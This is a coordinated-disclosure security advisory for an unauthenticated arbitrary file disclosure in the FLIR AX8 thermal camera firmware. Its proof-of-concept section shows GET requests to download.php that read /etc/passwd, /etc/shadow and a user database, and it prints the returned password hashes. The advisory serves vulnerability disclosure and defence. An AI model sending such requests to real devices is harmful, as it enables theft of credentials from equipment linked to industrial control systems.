Gjoko KrsticZSL-2018-5493FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.1 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.511 Medium
EPSS
Percentile
97.5%
Title: FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure
Advisory ID: ZSL-2018-5493
Type: Local/Remote
Impact: Exposure of System Information, Exposure of Sensitive Information
Risk: (4/5)
Release Date: 14.10.2018
Summary
Thermal Imaging Camera For Continuous Condition and Safety Monitoring FLIR AX8 is a thermal sensor with imaging capabilities. Combining thermal and visual cameras in a small, affordable package, the AX8 provides continuous temperature monitoring and alarming capabilities to protec critical electrical and mechanical equipment. The AX8 helps you guard against unplanned outages, service interruptions, and equipment failure.
The FLIR AX series camera/sensor also has built-in support to connect to industrial control equipment such as programmable logic controllers (PLCs), and allows the sharing of analysis and alarm results and simple control using the Ethernet/IP and Modbus TCP field bus protocols. Compact and easy to install, the AX8 provides continuous monitoring of electrical cabinets, process and manufacturing areas, data centers, energy generation and distribution, transportation and mass transit, storage facilities and refrigeration warehouses.
Description
The FLIR AX8 thermal sensor camera suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed via the ‘file’ parameter in download.php is not properly verified before being used to download config files. This can be exploited to disclose the contents of arbitrary files via absolute path.
Vendor
FLIR Systems, Inc. - <https://www.flir.com>
Affected Version
Firmware: 1.32.16, 1.17.13
OS: neco_v1.8-0-g7ffe5b3
Hardware: Flir Systems Neco Board
Tested On
GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)
lighttpd/1.4.33
PHP/5.4.14
Vendor Status
[26.07.2018] Vulnerability discovered.
[17.08.2018] Vendor contacted.
[17.08.2018] Vendor replied forwarding message to appropriate team.
[21.08.2018] Vendor responds asking more details.
[22.08.2018] Replied to the vendor requesting PGP key.
[23.08.2018] Vendor sends PGP key.
[27.08.2018] Sent details to the vendor.
[29.08.2018] Vendor confirms the issues developing patches.
[29.08.2018] Working with the vendor.
[10.10.2018] Vendor updating folowing cyber security guide.
[14.10.2018] Coordinated public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://www.flir.com/security/best-practices-for-cybersecurity/>
[2] <https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf>
[3] <https://www.flir.com/globalassets/security/cybersecurity-bulletin-10-12-18.pdf>
[4] <https://www.exploit-db.com/exploits/45597/>
[5] <https://packetstormsecurity.com/files/149798>
[6] <https://exchange.xforce.ibmcloud.com/vulnerabilities/151285>
[7] <https://www.flir.com/globalassets/industrial/security/cybersecurity-bulletin-10-12-18.pdf>
[8] <https://www.flir.com/globalassets/industrial/security/flir-pro-security-cyber-hardening-guide.pdf>
[9] <https://vulners.com/cve/CVE-2022-37060>
Changelog
[14.10.2018] - Initial release
[15.10.2018] - Added reference [4] and [5]
[17.10.2018] - Added reference [6]
[04.11.2022] - Added reference [7], [8] and [9]
Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure
Vendor: FLIR Systems, Inc.
Product web page: https://www.flir.com
Affected version: Firmware: 1.32.16
1.17.13
OS: neco_v1.8-0-g7ffe5b3
Hardware: Flir Systems Neco Board
Summary: Thermal Imaging Camera For Continuous Condition and Safety
Monitoring FLIR AX8 is a thermal sensor with imaging capabilities.
Combining thermal and visual cameras in a small, affordable package,
the AX8 provides continuous temperature monitoring and alarming capabilities
to protec critical electrical and mechanical equipment. The AX8 helps
you guard against unplanned outages, service interruptions, and equipment
failure.
The FLIR AX series camera/sensor also has built-in support to connect to
industrial control equipment such as programmable logic controllers (PLCs),
and allows the sharing of analysis and alarm results and simple control
using the Ethernet/IP and Modbus TCP field bus protocols. Compact and easy
to install, the AX8 provides continuous monitoring of electrical cabinets,
process and manufacturing areas, data centers, energy generation and distribution,
transportation and mass transit, storage facilities and refrigeration warehouses.
Desc: The FLIR AX8 thermal sensor camera suffers from an unauthenticated arbitrary
file disclosure vulnerability. Input passed via the 'file' parameter in download.php
is not properly verified before being used to download config files. This can be
exploited to disclose the contents of arbitrary files via absolute path.
Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)
lighttpd/1.4.33
PHP/5.4.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5493
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5493.php
26.07.2018
--
1. GET http://192.168.1.34/download.php?file=/etc/passwd HTTP/1.1
root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
messagebus:x:999:998::/var/lib/dbus:/bin/false
fliruser:x:1000:1000::/home/fliruser:/bin/sh
xuser:x:1001:1001::/home/xuser:/bin/sh
sshd:x:998:995::/var/run/sshd:/bin/false
avahi:x:997:994::/var/run/avahi-daemon:/bin/false
avahi-autoipd:x:996:993:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false
2. GET http://192.168.1.34/download.php?file=/etc/shadow HTTP/1.1
root:qA7LRQDa1amZM:17339:0:99999:7:::
daemon:*:17339:0:99999:7:::
bin:*:17339:0:99999:7:::
sys:*:17339:0:99999:7:::
sync:*:17339:0:99999:7:::
games:*:17339:0:99999:7:::
man:*:17339:0:99999:7:::
lp:*:17339:0:99999:7:::
mail:*:17339:0:99999:7:::
news:*:17339:0:99999:7:::
uucp:*:17339:0:99999:7:::
proxy:*:17339:0:99999:7:::
www-data:*:17339:0:99999:7:::
backup:*:17339:0:99999:7:::
list:*:17339:0:99999:7:::
irc:*:17339:0:99999:7:::
gnats:*:17339:0:99999:7:::
nobody:*:17339:0:99999:7:::
messagebus:!:17339:0:99999:7:::
fliruser:m1iiKYIJr63u2:17339:0:99999:7:::
xuser:!:17339:0:99999:7:::
sshd:!:17339:0:99999:7:::
avahi:!:17339:0:99999:7:::
avahi-autoipd:!:17339:0:99999:7:::
3. GET http://192.168.1.34/download.php?file=/FLIR/system/profile.d/userPreset.tar HTTP/1.1
GET http://192.168.1.34/download.php?file=/FLIR/usr/www/FLIR/db/users.db HTTP/1.1
lqwrm@metalgear:~/$ sqlite3 users.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
roles users
sqlite> select * from roles;
1|admin
2|user
3|viewer
sqlite> select * from users;
1|admin||$2y$10$/J/KDhh0.UDg5pbwtPG9B.W2gEWrS36qHji1scgxO7uiTk1GuAa.K|1
2|user||$2y$10$O5Ybml6qN9caTjezQR0f8.z230PavQYUwmZCzMVxL6BMeNvLWEr9q|2
3|viewer||$2y$10$lxA0o325EuUtVAaTItBt.OSpZSfxIrT56ntm7326FQ/fTBc0ODWqq|3
4|service||$2y$10$syAL0yMLBfN/8.sciVnCE.kBto6mtVvjrmyhPQAo7oV3rq8X8pBke|4
5|developer||$2y$10$LBNcMBC/Bn3VVnhlI1j7huOZ.UOykGaq3VZ.YAgu0mAZXAQ8q36uG|5
sqlite>.q
</p></body></html>Related
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.1 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.511 Medium
EPSS
Percentile
97.5%